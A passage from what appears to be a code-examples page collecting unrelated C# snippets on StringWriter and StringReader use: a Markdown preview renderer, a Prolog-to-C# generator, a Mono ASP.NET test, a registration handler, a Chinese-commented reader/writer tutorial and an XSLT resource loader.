            await Control.Dispatcher.BeginInvoke(new Action(() =>
            {
                // Generate the HTML document
                string html = null;
                StringWriter htmlWriter = null;
                try
                {
                    _currentDocument = snapshot.ParseToMarkdown();

                    htmlWriter = htmlWriterStatic ?? (htmlWriterStatic = new StringWriter());
                    htmlWriter.GetStringBuilder().Clear();
                    var htmlRenderer = new HtmlRenderer(htmlWriter);
                    MarkdownFactory.Pipeline.Setup(htmlRenderer);
                    htmlRenderer.UseNonAsciiNoEscape = true;
                    htmlRenderer.Render(_currentDocument);
                    htmlWriter.Flush();
                    html = htmlWriter.ToString();
                }
                catch (Exception ex)
                {
                    // We could output this to the exception pane of VS?
                    // Though, it's easier to output it directly to the browser
                    html = "<p>An unexpected exception occurred:</p><pre>" +
                           ex.ToString().Replace("<", "&lt;").Replace("&", "&amp;") + "</pre>";
                }
                finally
                {
                    // Free any resources allocated by HtmlWriter
                    htmlWriter?.GetStringBuilder().Clear();
                }

                IHTMLElement content = null;

                if (_htmlDocument != null)
                {
                    content = _htmlDocument.getElementById("___markdown-content___");
                }

                // Content may be null if the Refresh context menu option is used.  If so, reload the template.
                if (content != null)
                {
                    content.innerHTML = html;

                    // Makes sure that any code blocks get syntax highlighted by Prism
                    var win = _htmlDocument.parentWindow;
                    try { win.execScript("Prism.highlightAll();", "javascript"); } catch { }
                    try { win.execScript("mermaid.init(undefined, document.querySelectorAll('.mermaid'));", "javascript"); } catch { }
                    try { win.execScript("if (typeof onMarkdownUpdate == 'function') onMarkdownUpdate();", "javascript"); } catch { }

                    // Adjust the anchors after and edit
                    this.AdjustAnchors();
                }
                else
                {
                    var htmlTemplate = GetHtmlTemplate();
                    html = string.Format(CultureInfo.InvariantCulture, "{0}", html);
                    html = htmlTemplate.Replace("[content]", html);
                    Logger.LogOnError(() => Control.NavigateToString(html));
                }

                SyncNavigation();
            }), DispatcherPriority.ApplicationIdle, null);
        }
        static string GenCode(string myCode)
        {
            Variable TermList     = new Variable();
            Variable FunctionCode = new Variable();

            string CS_code = "";

            int cs_pointer = myCode.IndexOf("\n//cs");

            if (cs_pointer > 0)
            {
                CS_code = myCode.Substring(cs_pointer); // CS code comes after
                myCode  = myCode.Substring(0, cs_pointer);
            }
            myCode.Replace("//yp", "%YPCode");

            StringWriter myCS_SW   = new StringWriter();
            StringReader myCode_SR = new StringReader(" yp_nop_header_nop. \n " + myCode + "\n");

            YP.see(myCode_SR);
            YP.tell(myCS_SW);

            //MainConsole.Instance.Debug("Mycode\n ===================================\n" + myCode+"\n");

// disable warning: don't see how we can code this differently short
// of rewriting the whole thing
#pragma warning disable 0168, 0219
            foreach (bool l1 in Parser.parseInput(TermList))
            {
                foreach (bool l2 in YPCompiler.makeFunctionPseudoCode(TermList, FunctionCode))
                {
                    // ListPair VFC = new ListPair(FunctionCode, new Variable());
                    //MainConsole.Instance.Debug("-------------------------")
                    //MainConsole.Instance.Debug(FunctionCode.ToString())
                    //MainConsole.Instance.Debug("-------------------------")
                    YPCompiler.convertFunctionCSharp(FunctionCode);
                    //YPCompiler.convertStringCodesCSharp(VFC);
                }
            }
#pragma warning restore 0168, 0219
            YP.seen();
            myCS_SW.Close();
            YP.told();
            StringBuilder bu        = myCS_SW.GetStringBuilder();
            string        finalcode = "//YPEncoded\n" + bu.ToString();
            // FIX script events (we're in the same script)
            // 'YP.script_event(Atom.a(@"sayit"),' ==> 'sayit('
            finalcode = Regex.Replace(finalcode,
                                      @"YP.script_event\(Atom.a\(\@\""(.*?)""\)\,",
                                      @"this.$1(",
                                      RegexOptions.Compiled | RegexOptions.Singleline);
            finalcode = Regex.Replace(finalcode,
                                      @"YP.script_event\(Atom.a\(\""(.*?)""\)\,",
                                      @"this.$1(",
                                      RegexOptions.Compiled | RegexOptions.Singleline);
            finalcode = Regex.Replace(finalcode,
                                      @" static ",
                                      @" ",
                                      RegexOptions.Compiled | RegexOptions.Singleline);

            finalcode = CS_code + "\n\r" + finalcode;
            finalcode = Regex.Replace(finalcode,
                                      @"PrologCallback",
                                      @"public IEnumerable<bool> ",
                                      RegexOptions.Compiled | RegexOptions.Singleline);
            return(finalcode);
        }
Ejemplo n.º 43
0
Archivo: test.cs Proyecto: mono/gert
	static int Main ()
	{
		TinyHost h = CreateHost ();
		StringWriter sw = new StringWriter ();

		h.Execute ("ValidPageClass.aspx", sw);
		string result = sw.ToString ();
		if (result.IndexOf ("<p>OK-ValidPageClass</p>") == -1) {
			Console.WriteLine (result);
			return 1;
		}

		sw.GetStringBuilder ().Length = 0;
		h = CreateHost ();
		h.Execute ("ValidPageClassNs.aspx", sw);
		result = sw.ToString ();
#if NET_2_0
		if (result.IndexOf ("<p>OK-ValidPageClassNs</p>") == -1) {
			Console.WriteLine (result);
			return 2;
		}
#else
		if (result.IndexOf ("'Mono.Web.UI.ValidPage' is not a valid value for attribute 'classname'.") == -1) {
			Console.WriteLine (result);
			return 2;
		}
#endif

		sw.GetStringBuilder ().Length = 0;
		h = CreateHost ();
		h.Execute ("ValidControlClass.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("_Label1\">OK-ValidControlClass</span>") == -1) {
			Console.WriteLine (result);
			return 3;
		}

		sw.GetStringBuilder ().Length = 0;
		h = CreateHost ();
		h.Execute ("ValidControlClassNs.aspx", sw);
		result = sw.ToString ();
#if NET_2_0
		if (result.IndexOf ("_Label1\">OK-ValidControlClassNs</span>") == -1) {
			Console.WriteLine (result);
			return 4;
		}
#else
		if (result.IndexOf ("'Mono.Web.UI.ValidControl' is not a valid value for attribute 'classname'.") == -1) {
			Console.WriteLine (result);
			return 4;
		}
#endif

		sw.GetStringBuilder ().Length = 0;
		h = CreateHost ();
		h.Execute ("InvalidPageClass.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("'@InvalidPage' is not a valid value for attribute 'classname'.") == -1) {
			Console.WriteLine (result);
			return 5;
		}

		sw.GetStringBuilder ().Length = 0;
		h = CreateHost ();
		h.Execute ("InvalidPageClassNs.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("'*****@*****.**' is not a valid value for attribute 'classname'.") == -1) {
			Console.WriteLine (result);
			return 6;
		}

		sw.GetStringBuilder ().Length = 0;
		h = CreateHost ();
		h.Execute ("InvalidControlClass.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("'@InvalidControl' is not a valid value for attribute 'classname'.") == -1) {
			Console.WriteLine (result);
			return 7;
		}

		sw.GetStringBuilder ().Length = 0;
		h = CreateHost ();
		h.Execute ("InvalidControlClassNs.aspx", sw);
		result = sw.ToString ();
		if (result.IndexOf ("'*****@*****.**' is not a valid value for attribute 'classname'.") == -1) {
			Console.WriteLine (result);
			return 8;
		}

		return 0;
	}
Ejemplo n.º 44
0
        private void register()
        {
            string username = "";

            if (!string.IsNullOrEmpty(HttpContext.Current.Request["username"]))
            {
                username = InText.SafeSql(InText.SafeStr(HttpContext.Current.Request["username"]));
            }
            string pwd = "";

            if (!string.IsNullOrEmpty(HttpContext.Current.Request["pwd"]))
            {
                pwd = Utils.Encrypt(InText.SafeSql(InText.SafeStr(HttpContext.Current.Request["pwd"])));
            }
            string email = "";

            if (!string.IsNullOrEmpty(HttpContext.Current.Request["email"]))
            {
                email = InText.SafeSql(InText.SafeStr(HttpContext.Current.Request["email"]));
            }
            int sex = 2;

            if (!string.IsNullOrEmpty(HttpContext.Current.Request["sex"]))
            {
                sex = Utils.CheckInt(HttpContext.Current.Request["sex"]);
            }
            int baby = 2;

            if (!string.IsNullOrEmpty(HttpContext.Current.Request["baby"]))
            {
                baby = Utils.CheckInt(HttpContext.Current.Request["baby"]);
            }
            DateTime baby_date = DateTime.Now;

            if (!string.IsNullOrEmpty(HttpContext.Current.Request["baby_date"]))
            {
                baby_date = Convert.ToDateTime(HttpContext.Current.Request["baby_date"]);
            }
            string remark = "";

            if (!string.IsNullOrEmpty(HttpContext.Current.Request["remark"]))
            {
                remark = InText.SafeSql(InText.SafeStr(HttpContext.Current.Request["remark"]));
            }

            int result = userBll.Add_User(username, pwd, email, sex, baby, baby_date, remark);

            StringWriter sw = new StringWriter();

            Newtonsoft.Json.JsonWriter writer = new Newtonsoft.Json.JsonTextWriter(sw);

            if (result > 0)
            {
                writer.WriteStartObject();
                writer.WritePropertyName("status");
                writer.WriteValue("200");
                writer.WritePropertyName("newid");
                writer.WriteValue(result.ToString());
                writer.WriteEndObject();
                writer.Flush();
            }
            else
            {
                writer.WriteStartObject();
                writer.WritePropertyName("status");
                writer.WriteValue("500");
                writer.WriteEndObject();
                writer.Flush();
            }
            string jsonText = sw.GetStringBuilder().ToString();

            Response.Write(jsonText);
        }
Ejemplo n.º 45
0
        static void Main(string[] args)
        {
            /* 读写器 (文本读写器)
             * 所谓的文本类型,不仅仅指的是字符串形式,它包含了记事本上使用任何语言(英语,中文,c# ,javascript,jquery,xml,xaml,sql,c++……)
             * 所以就出现了  TextReader 和 TextWriter  抽象类 定义了读写Text的一系列操作(通过连续的字符),并且是非托管类型,需要手动Dispose释放资源
             * TextReader:表示有序字符系列的读取器
             * TextWriter:对连续字符系列处理的编写器
             * 一般采用using 的语句形式,就不需要手动释放资源,using语句结束,会自动释放资源
             */


            /* 字符串读写器   一般来说,基本用不到,主要是学习 各种方法,为 StreamReader 打下基础
             * StringReader  实现 TextReader ,使其从字符串读取。
             * StringWriter  处理字符串的编写器
             */


            #region  读取
            string stringText = "中文qwer1234@#¥%……&*\nzxcv1234中文";
            Console.WriteLine("--------------Read & Peek-------------------");
            using (StringReader reader = new StringReader(stringText))
            {
                while (reader.Peek() != -1)                                // 若一下个字符不存在,则返回-1
                {
                    Console.WriteLine("Peek = {0}", (char)reader.Peek());  // Peek: 仅返回下一个字符(ASCII编码),可以强制转换成字符
                    Console.WriteLine("Read = {0}", (char)reader.Read());  // Read:读取下一个字符(ASCII编码),读取位置 前进 一位
                }
            }
            Console.WriteLine("--------------Read(buffer,index,count)-------------------");
            using (StringReader reader = new StringReader(stringText))
            {
                char[] charArr = new char[5];
                while (reader.Peek() != -1)
                {
                    int readLength = reader.Read(charArr, 0, charArr.Length); // 返回的是读取的长度,读取的内容存入在buffer中,读取位置 前进 读取的长度
                                                                              // 如果 reader 中的长度不足 charArr.Length 的长度,则只读取 reader 中剩余的长度
                    for (int i = 0; i < readLength; i++)
                    {
                        Console.WriteLine("Char{0} = {1}", i, charArr[i]);
                    }
                }
            }
            Console.WriteLine("--------------ReadAsync--------------------");
            using (StringReader reader = new StringReader(stringText))
            {
                char[] charArr = new char[5];
                while (reader.Peek() != -1)
                {
                    Task <int> task = reader.ReadAsync(charArr, 0, charArr.Length); // 异步操作,读取位置 前进 读取的长度
                    task.Wait();                                                    // 这里就直接阻塞等待,毕竟主要是测试
                    for (int i = 0; i < task.Result; i++)
                    {
                        Console.WriteLine("Char{0} = {1}", i, charArr[i]);
                    }
                }
            }
            Console.WriteLine("------------ReadBlock----------------------");
            using (StringReader reader = new StringReader(stringText))
            {
                char[] charArr = new char[5];
                int    lenth   = reader.ReadBlock(charArr, 0, charArr.Length); // ReadBlock 和 Read(buffer, index, count) 的方法作用是一样的,读取位置前进读取的长度
                for (int i = 0; i < lenth; i++)
                {
                    Console.WriteLine("Char{0} = {1}", i, charArr[i]);
                }
            }
            Console.WriteLine("------------ReadBlockAsync----------------------");
            using (StringReader reader = new StringReader(stringText))
            {
                char[]     charArr = new char[5];
                Task <int> task    = reader.ReadBlockAsync(charArr, 0, charArr.Length); // 异步操作,读取位置 前进 读取的长度
                task.Wait();
                for (int i = 0; i < task.Result; i++)
                {
                    Console.WriteLine("Char{0} = {1}", i, charArr[i]);
                }
            }
            Console.WriteLine("----------------ReadLine------------------");
            using (StringReader reader = new StringReader(stringText))
            {
                while (reader.Peek() != -1)
                {
                    Console.WriteLine(reader.ReadLine());       // 一行一行读取,并且读取位置 前进 一行的长度
                }
            }
            Console.WriteLine("----------------ReadLineAsync------------------");
            using (StringReader reader = new StringReader(stringText))
            {
                while (reader.Peek() != -1)
                {
                    Task <string> task = reader.ReadLineAsync(); // 一行一行读取,并且读取位置 前进 一行的长度
                    task.Wait();
                    Console.WriteLine(task.Result);
                }
            }

            Console.WriteLine("--------------ReadToEnd--------------------");
            using (StringReader reader = new StringReader(stringText))
            {
                while (reader.Peek() != -1)
                {
                    Console.WriteLine(reader.ReadToEnd());       // 所有字符串整体读取,并且读取位置前进整体的长度
                }
            }
            Console.WriteLine("--------------ReadToEnd--------------------");
            using (StringReader reader = new StringReader(stringText))
            {
                while (reader.Peek() != -1)
                {
                    Task <string> task = reader.ReadToEndAsync(); // 所有字符串整体读取,并且读取位置前进整体的长度
                    task.Wait();
                    Console.WriteLine(task.Result);
                }
            }


            #endregion


            #region 写入
            Console.WriteLine("----------------- StringWriter -----------------------------");
            // 构造函数1   StringWriter();
            // 在内部是采用了 StringWriter(new StringBuilder(), (IFormatProvider) CultureInfo.CurrentCulture)

            // 构造函数2  StringWriter(IFormatProvider formatProvider)                                   // 关于 IFormatProvider 接口,在另一篇中会详细解释,这里就采用默认的
            // 在内部是采用了 StringWriter(new StringBuilder(), formatProvider)

            // 构造函数3 StringWriter(StringBuilder sb)
            // 在内部采用了 StringWriter(sb, (IFormatProvider) CultureInfo.CurrentCulture)

            // 构造函数4 StringWriter(StringBuilder sb, IFormatProvider formatProvider)  完整的构造函数


            // 属性 :Encoding         // StringWriter 的默认编码格式是 Unicode
            //        FormatProvider    //一般本地化程序,只需要使用默认的就可以了
            //        NewLine

            /* 方法:Flush              // 首先说明,StringWriter 无法将内容写入文件,只能将内容写入  StringBuilder对象
             *      FlushAsync          // 其次,Flush 和  FlushAsync 内容是空的,内部没有重写 ,即这个方法是不存在的
             *      GetStringBuild
             *      Write               是将内容写入 StringBuilder 对象的字符串中
             *      WriteAsync
             *      WriteLine
             *      WriteLineAsync
             */


            // 方法  Write
            // 第 1 类方法
            //  Write(char value)        Write(string)
            //  内部是使用了 _sb.Append(value);               // 总结,所有的的方法最后都使用了_sb.Append(value);

            // 第 2 类方法
            //  Write(bool value)       Write(object value)
            //  内部使用了 Write(string)         object.ToString()

            // 第 3 类方法
            // Write(char[] buffer)   Write(char[] buffer, int index, int count)
            // 内部是使用了 Write(char value)

            // 第 4 类方法
            // Write(int value)     Write(uint value)       Write(long value)       Write(ulong value)
            // Write(float value)   Write(double value)     Write(Decimal value)
            // 内部是使用了Write(string) ,具体就是===>> Write(value.ToString(this.FormatProvider))

            // 第 5 类方法
            //  Write(string format, object arg0)                               Write(string format, object arg0, object arg1)
            //  Write(string format, object arg0, object arg1, object arg2)     Write(string format, params object[] arg)
            // 内部是使用了Write(string) ,具体就是===>> Write(string.Format(this.FormatProvider, format, argx))               // 即根据提供的格式化类对象 FormatProvider,对当前写入的内容 argx,采用需要的格式 format
            using (StringWriter stringWriter = new StringWriter(new StringBuilder(), (IFormatProvider)CultureInfo.CurrentCulture))
            {
                Console.WriteLine(stringWriter.FormatProvider);                // 格式化对象器
                Console.WriteLine(stringWriter.Encoding);                      // 写入的编码格式 StringWriter 的默认编码格式是 Unicode
                stringWriter.Write('A');                                       //第 1 类方法
                stringWriter.Write("你好");                                      //第 1 类方法
                stringWriter.Write(false);                                     //第 2 类方法
                stringWriter.Write(new char[] { 'B', 'C' }, 1, 1);             //第 3 类方法
                stringWriter.Write(12.56);                                     // 第 4 类方法
                stringWriter.Write("{0:N}", 9);                                //第 5 类方法
                Console.WriteLine(stringWriter.GetStringBuilder().ToString()); // 获取 StringBuilder 对象的方法
                Console.WriteLine(stringWriter.Encoding);
                stringWriter.Flush();
            }

            // 方法 WriteAsync
            // 就是一般 Write 方法,加一个一般的异步操作
            using (StringWriter stringWriter = new StringWriter()) //与上面的构造函数实际意义是一样的
            {
                Task task = stringWriter.WriteAsync('a');
                task.Wait();
            }
            // 方法 WriteLine
            //  WriteLine()
            //  内部是使用了 Write(char[] buffer)   具体是===>> Write(this.CoreNewLine)    CoreNewLine 由属性 NewLine 确定  默认是\r\n
            //  其余的 方法 都是使用对应的 Write 方法 ,加WriteLine()
            using (StringWriter stringWriter = new StringWriter())
            {
                Console.WriteLine(stringWriter.NewLine);                     // 通过打断点,可以知道 newline 的信息
                stringWriter.WriteLine("Hello你好!");
                Console.WriteLine(stringWriter.GetStringBuilder().ToString());
            }
            // 方法 WriteLineAsync
            // 就是一般 WriteLine 方法,加一个一般的异步操作
            using (StringWriter stringWriter = new StringWriter())
            {
                Task task = stringWriter.WriteLineAsync('a');
                task.Wait();
            }

            #endregion

            /* 流读写器  读写器中的主要成员
             * StreamReader 实现一个 TextReader,使其以一种特定的编码从字节流中读取字符。
             * 关键在于构造函数
             * 其他方法和 StringReader 类似
             *
             * StreamWriter 通过特定的编码和流的方式对数据进行处理的编写器
             */


            #region 读取
            Console.WriteLine("----------------- StreamReader -----------------------------");
            // StreamReader.DefaultBufferSize =1024

            // 构造函数1 StreamReader(Stream stream)
            // 在内部是使用了 StreamReader(stream, Encoding.UTF8, true, StreamReader.DefaultBufferSize, false)

            // 构造函数2 public StreamReader(Stream stream,bool detectEncodingFromByteOrderMarks)
            // 在内部是使用了 StreamReader(stream, Encoding.UTF8, detectEncodingFromByteOrderMarks, StreamReader.DefaultBufferSize, false)

            // 构造函数3 public StreamReader(Stream stream,Encoding encoding)
            // 在内部是使用了 StreamReader(stream, encoding, true, StreamReader.DefaultBufferSize, false)

            // 构造函数4 public StreamReader(Stream stream,Encoding encoding,bool detectEncodingFromByteOrderMarks)
            // 在内部是使用了 StreamReader(stream, encoding, detectEncodingFromByteOrderMarks, StreamReader.DefaultBufferSize, false)

            // 构造函数5 public StreamReader(Stream stream,Encoding encoding,bool detectEncodingFromByteOrderMarks,int bufferSize)
            // 在内部是使用了 StreamReader(stream, encoding, detectEncodingFromByteOrderMarks, bufferSize, false)

            // 构造函数6 public StreamReader(Stream stream,Encoding encoding,bool detectEncodingFromByteOrderMarks,int bufferSize,bool leaveOpen)


            // 构造函数7   public StreamReader(string path)
            // 构造函数8   public StreamReader(string path,bool detectEncodingFromByteOrderMarks)
            // 构造函数9   public StreamReader(string path,Encoding encoding)
            // 构造函数10  public StreamReader(string path,Encoding encoding,bool detectEncodingFromByteOrderMarks)
            // 构造函数11  public StreamReader(string path,Encoding encoding,bool detectEncodingFromByteOrderMarks,int bufferSize)

            /* 总结
             * 上面5个构造函数的 path ,在内部最后都生成文件流
             * (Stream) new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read, 4096, FileOptions.SequentialScan, Path.GetFileName(path), false, false, checkHost)
             * 从而,也是使用了 1~5 的构造函数 ,最后都是归为 6 这个构造函数来说明
             * 具体的文件流的构造函数,在流那一篇进行解释
             */

            /* 总结 所有的构造函数都是从构造函数6中分化出来的,所以这里就选择构造函数6来解释*/

            // 重点
            // encoding :选择流的编码格式      默认为 Encoding.UTF8
            // detectEncodingFromByteOrderMarks: true:则表示会根据文件流的文本自行判断编码格式; false:则表示直接根据 encoding 来判断编码格式  默认为 true
            // bufferSize : 读写器的内部缓冲区
            // leaveOpen true:表示在释放StreamReader资源之后,Stream还是打开状态 ,默认是 false :释放读写器,同时也释放底层流

            // 这里采用文件流,当然也可以是其他流

            // 属性 BaseStream        返回的就是读取的流
            //      CurrentEncoding   返回的
            //      EndOfStream
            // 方法 DiscardBufferedData()
            //      其余方法和StringReader 的基本一致

            string ABCUTF  = "D:\\Desktop\\ABCUTF.txt";
            string ABCANSI = "D:\\Desktop\\ABCANSI.txt";

            using (FileStream stream = new FileStream(ABCUTF, FileMode.OpenOrCreate))
            {
                using (StreamReader reader = new StreamReader(stream, Encoding.Default, true, 1024, false))
                {
                    Stream temp = reader.BaseStream;                        // BaseStream,获取读写器的底层流
                    Console.WriteLine(temp.Equals(stream));
                    Console.WriteLine(reader.CurrentEncoding);              //  获取当期的编码
                    if (!reader.EndOfStream)                                // 是否读到了流的结尾
                    {
                        Console.WriteLine(reader.ReadToEnd());              // 整个读取流,并显示为字符串
                    }
                }
            }

            Console.WriteLine("----------------- 内部缓冲区 && DiscardBufferedData() -----------------------------");
            using (FileStream stream = new FileStream(ABCANSI, FileMode.OpenOrCreate))
            {
                using (StreamReader reader = new StreamReader(stream, Encoding.UTF8, true, 1024, false))  //内部缓存区的大小,TODO 暂时不知道用处,使用默认值就可以了
                {
                    Console.WriteLine(reader.BaseStream.Length);
                    for (int i = 0; i < 10; i++)
                    {
                        reader.Read();
                    }
                    reader.DiscardBufferedData();                                           // 当 reader 读取过 流,此时 DiscardBufferedData 清楚内部缓存区,就相当于读到了最后(实际是因为没有了内容)
                    Console.WriteLine(reader.EndOfStream);
                }
            }
            Console.WriteLine("------------------------leaveOpen-------------------------");
            using (FileStream stream = new FileStream(ABCANSI, FileMode.OpenOrCreate))
            {
                using (StreamReader reader = new StreamReader(stream, Encoding.UTF8, true, 1024, true))  // leaveOpen:true
                {
                    Console.WriteLine("1");
                }
                using (StreamReader reader = new StreamReader(stream, Encoding.UTF8, true, 1024, false)) // leaveOpen:false
                {
                    Console.WriteLine("2");
                }
            }



            #endregion



            #region 写入
            Console.WriteLine("-------------- StreamWriter -------------------");
            // 构造函数1    StreamWriter(Stream stream, Encoding encoding, int bufferSize, bool leaveOpen)

            /* 构造函数2    StreamWriter(Stream stream)
             * 内部使用了   StreamWriter(stream, StreamWriter.UTF8NoBOM, 1024, false)            //  StreamWriter.UTF8NoBOM : 表示UTF8
             *
             * 构造函数3    StreamWriter(Stream stream, Encoding encoding)
             * 内部使用了    StreamWriter(stream, encoding, 1024, false)
             *
             * 构造函数4    StreamWriter(Stream stream, Encoding encoding, int bufferSize)
             * 内部使用了    StreamWriter(stream, encoding, bufferSize, false)
             */

            // 构造函数5    StreamWriter(string path, bool append, Encoding encoding, int bufferSize)
            // 内部通过 path 和  append  创建了文件流 FileStream, 同时也创建了文件(若文件已存在,则覆盖原文件)
            // 其中 mode 参数:FileMode mode = append ? FileMode.Append : FileMode.Create;   checkHost :内部赋值 true
            // (Stream)new FileStream(path, mode, FileAccess.Write, FileShare.Read, 4096, FileOptions.SequentialScan, Path.GetFileName(path), false, false, checkHost);
            // 最后使用了 构造函数1  StreamWriter(stream, encoding, bufferSize,false)

            /* 构造函数6    StreamWriter(string path)
             * 内部使用了    StreamWriter(path, false, StreamWriter.UTF8NoBOM, 1024)
             *
             * 构造函数7    StreamWriter(string path, bool append)
             * 内部使用了    StreamWriter(path, append, StreamWriter.UTF8NoBOM, 1024)
             *
             * 构造函数8    StreamWriter(string path, bool append, Encoding encoding)
             * 内部使用了    StreamWriter(path, append, encoding, 1024)
             */

            /* 属性
             *  AutoFlush
             *  BaseStream
             *  Encoding
             *  NewLine
             *  FormatProvider
             */
            // 采用默认的构造函数测试
            string filePath = "D:\\Desktop\\File1.txt";
            using (StreamWriter streamWriter = new StreamWriter(filePath, false, Encoding.UTF8, 1024))
            {
                Console.WriteLine(streamWriter.Encoding);                   // StreamWriter 的默认编码格式是 UTF8
                Console.WriteLine(streamWriter.NewLine);                    // 当前默认是 \r\n
                Console.WriteLine(streamWriter.AutoFlush);                  // 默认是 false
                Console.WriteLine(streamWriter.BaseStream);                 // 可以知道,内部确实创建了一个文件流,以及一个文件
                Console.WriteLine(streamWriter.FormatProvider);             // 默认为 (IFormatProvider) CultureInfo.CurrentCulture ,这里就是 zh-CN ,跟 StringWrite 不同,无法自己修改
            }

            /* 方法:
             * Flush
             * FlushAsync
             * Write
             * WriteAsync
             * WriteLine
             * WriteLineAsync
             */


            /* 方法 Write
             * 大致上和 StringWrite 是一致的
             * 全部都是追加在末尾,符合流的特性
             */
            // 采用构造函数6
            filePath = "D:\\Desktop\\File2.txt";
            using (StreamWriter streamWriter = new StreamWriter(filePath))
            {
                // 注意:写入的内容在内部被缓存在 字符数组 charBuffer ,然后 转存到 字节数组 byteBuffer,从中可以看出,流 是对字节数组进行操作
                streamWriter.Write('B');                             //第 1 类方法
                streamWriter.Write("你好");                            //第 1 类方法
                streamWriter.Write(false);                           //第 2 类方法
                streamWriter.Write(new char[] { 'B', 'C' }, 1, 1);   //第 3 类方法
                streamWriter.Write(12.56);                           // 第 4 类方法
                streamWriter.Write("{0:N}", 9);                      //第 5 类方法
            }

            // 采用构造函数5
            filePath = "D:\\Desktop\\File3.txt";
            using (StreamWriter streamWriter = new StreamWriter(filePath, false, Encoding.UTF8, 128))
            {
                for (int i = 0; i < 130; i++)                           // buffersize 缓存大小,在内部赋值给了 字符数组 charBuffer
                {                                                       // 但是,在这里似乎看不到效果,不过感觉合理就可以了 TODO 以后有必要再看看
                    streamWriter.Write('A');
                }
                Thread.Sleep(3000);
            }
            // 方法 WriteAsync
            filePath = "D:\\Desktop\\File4.txt";
            using (StreamWriter streamWriter = new StreamWriter(filePath))
            {
                Task task = streamWriter.WriteAsync("abc");                   // 就是一般的 Write 方法 ,加 一般的异步操作
                task.Wait();
            }
            // 方法 WriteLine
            filePath = "D:\\Desktop\\File5.txt";
            using (StreamWriter streamWriter = new StreamWriter(filePath))
            {
                streamWriter.WriteLine('A');                                // 就是在一般的 Write 方法后面,添加  WriteLine() 方法
                streamWriter.WriteLine("你好!");
                streamWriter.WriteLine();
            }
            // 方法 WriteLineAsync
            filePath = "D:\\Desktop\\File6.txt";
            using (StreamWriter streamWriter = new StreamWriter(filePath))
            {
                Task task = streamWriter.WriteLineAsync("ABC");            // 就是一般的 WriteLine 方法 ,加 一般的异步操作
                task.Wait();
            }

            // 采用构造函数1
            filePath = "D:\\Desktop\\File7.txt";
            using (FileStream stream = new FileStream(filePath, FileMode.OpenOrCreate, FileAccess.Write, FileShare.Read, 4096, false))
            {
                using (StreamWriter streamWriter = new StreamWriter(stream, Encoding.UTF8, 128, true))         // leaveopen :true 表示当编写器关闭时,不关闭底层流
                {
                    streamWriter.AutoFlush = true;
                    streamWriter.Write("ABC");                                                              //  AutoFlush: true ,则每次调用 Write 系列方法,都会立即写入文本
                    Thread.Sleep(3000);
                }
                using (StreamWriter streamWriter = new StreamWriter(stream, Encoding.UTF8, 128, true))
                {
                    streamWriter.Write("123");
                    streamWriter.Flush();                                                                     //  Flush 立即写入文本
                    Thread.Sleep(3000);
                    for (int i = 0; i < 4097; i++)                                                            //超过StreamWriter的缓冲区大小,看不出效果
                                                                                                              //超过 FileStream 的缓冲区大小,就会内部调用Flush,写入文件
                    {
                        streamWriter.Write("4");
                    }                                                                                   //  没用 Flush ,则会在关闭 StreamWriter 对象时,写入文本
                    Thread.Sleep(3000);
                }
                using (StreamWriter streamWriter = new StreamWriter(stream, Encoding.UTF8, 128, true))
                {
                    streamWriter.Write("ABC");
                    Task task = streamWriter.FlushAsync();                                                      // 就是 Flush 方法,加上一个异步方法
                    task.Wait();
                    Thread.Sleep(3000);
                }
            }

            Console.WriteLine("程序完结");
            #endregion


            Console.ReadLine();
        }
Ejemplo n.º 46
0
        internal static void Clear(this StringWriter writer)
        {
            var builder = writer.GetStringBuilder();

            builder.Remove(0, builder.Length);
        }
Ejemplo n.º 47
0
        private Stream LoadOverriddableResource(string workingDirectory, ResourceType resourceType, Language language, string platform, out string loadHash)
        {
            loadHash = string.Empty;
            string name         = null;
            var    extension    = GetResourceExtension(resourceType);
            var    fileSuffix   = string.Empty;
            var    replacements = new Dictionary <string, ReplacementInfo>();
            bool   okayToFail   = false;

            switch (resourceType)
            {
            case ResourceType.GenerateProject:
                name       = "GenerateProject";
                fileSuffix = "." + this.m_LanguageStringProvider.GetFileSuffix(language);
                replacements.Add("ADDITIONAL_TRANSFORMS", new ReplacementInfo
                {
                    ResourceName = ResourceType.AdditionalProjectTransforms
                });
                break;

            case ResourceType.GenerateSolution:
                name = "GenerateSolution";
                break;

            case ResourceType.SelectSolution:
                name = "SelectSolution";
                break;

            case ResourceType.GenerationFunctions:
                name = "GenerationFunctions";
                break;

            case ResourceType.NuGetPlatformMappings:
                name = "NuGetPlatformMappings";
                break;

            case ResourceType.AdditionalGenerationFunctions:
                name       = "AdditionalGenerationFunctions";
                okayToFail = true;
                break;

            case ResourceType.AdditionalProjectTransforms:
                name       = "AdditionalProjectTransforms";
                okayToFail = true;
                break;

            default:
                throw new NotSupportedException();
            }

            switch (resourceType)
            {
            case ResourceType.GenerateProject:
            case ResourceType.GenerateSolution:
            case ResourceType.SelectSolution:
                replacements.Add("GENERATION_FUNCTIONS", new ReplacementInfo
                {
                    ResourceName         = ResourceType.GenerationFunctions,
                    ReplacementProcessor = x => _generationFunctionsProvider.ConvertGenerationFunctionsToXSLT("user", x)
                });
                replacements.Add("ADDITIONAL_GENERATION_FUNCTIONS", new ReplacementInfo
                {
                    ResourceName         = ResourceType.AdditionalGenerationFunctions,
                    ReplacementProcessor = x => _generationFunctionsProvider.ConvertGenerationFunctionsToXSLT("extra", x)
                });
                break;
            }

            var onDiskNames = new List <string>();

            onDiskNames.Add(name + fileSuffix + "." + platform + "." + extension);
            onDiskNames.Add(name + fileSuffix + "." + extension);

            if (resourceType == ResourceType.GenerateProject && language == Language.CSharp)
            {
                onDiskNames.Add(name + "." + extension);
            }

            Stream source = null;

            var globalPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), ".protobuild-xslt");

            if (Directory.Exists(globalPath))
            {
                foreach (var filename in onDiskNames)
                {
                    var path = Path.Combine(globalPath, filename);

                    if (File.Exists(path))
                    {
                        loadHash = "path:" + path;
                        RedirectableConsole.WriteLine("Loaded XSLT from global path: " + path);
                        source = File.Open(path, FileMode.Open, FileAccess.Read, FileShare.Read);
                        break;
                    }
                }
            }

            if (source == null)
            {
                foreach (var filename in onDiskNames)
                {
                    var path = Path.Combine(workingDirectory, "Build", filename);

                    if (File.Exists(path))
                    {
                        loadHash = "path:" + path;
                        RedirectableConsole.WriteLine("Loaded XSLT from Build folder: " + path);
